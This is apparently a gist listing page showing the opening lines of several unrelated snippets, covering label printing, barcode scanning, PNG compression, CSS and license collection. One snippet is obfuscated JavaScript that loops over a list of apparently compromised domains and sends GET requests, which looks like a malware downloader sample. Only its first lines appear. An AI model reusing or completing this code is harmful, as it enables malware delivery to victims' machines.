This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Get the raw text commands to send to the printer for EPL, TSPL, or ZPL. | |
* @param {jimp image} image, 300 DPI | |
* @param {string} printerLang "epl2", "tspl2", or "zpl" | |
* @param {number} printerDpi 200 or 300, don't use 203 | |
* @param {number} labelWidthMM | |
* @param {number} labelHeightMM | |
* @param {number} labelGapMM Gap between labels on roll | |
* @param {number} labelDensity Print darkness | |
* @param {number} labelVerticalOffset Adjust the positioning if the top or bottom of the label are cut off or go to the next label |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<link rel=stylesheet href="style.css" /> | |
<script src="node_modules/@zxing/library/umd/index.min.js"></script> | |
<script src="scanner.js"></script> | |
<div id="web-barcode-ui" class="hidden"> | |
<video id="barcode-viewer"></video> | |
<div class="text"> | |
Scan a barcode with your camera. Click or tap anywhere to cancel. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
TOTALIN=0 | |
TOTALSAVED=0 | |
TOTALFILES=0 | |
for png in *.png; | |
do | |
echo "Crushing $png" | |
echo "PNG file $png:" >> /tmp/pngcrush.log | |
OLDSIZE=$(stat --printf="%s" "$png") | |
echo " Old size: $OLDSIZE" >> /tmp/pngcrush.log |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function zulum(pikue) {pikue.send();} | |
var x = ["resedaplumbing.com","calendar-del.ru","goldwingclub.ru","natiwa.com","www.gloszp.pl"]; | |
var robs = 20-20; | |
var mumik = new Array('GET','JIJINGER'); | |
var mustafa = x.length; | |
while(true) | |
{ | |
if(robs>=mustafa) | |
{ | |
break; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Material-Color.css Copyright (c) 2017 Netsyms Technologies MIT License */ | |
/*****************************************************\ | |
PANELS | |
\*****************************************************/ | |
.panel-red .panel-heading { | |
background-color: #f44336; | |
color: white; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Set $gits to an array of repository author/name combinations. | |
Run it with `php collectlicenses.php`. | |
It saves the generated HTML to licenses.html in the same folder. | |
*/ | |
$gits = ["twbs/bootstrap", "npm/npm", "FortAwesome/Font-Awesome", "thomaspark/bootswatch", "composer/composer", "catfan/Medoo", "nwjs/nw.js"]; |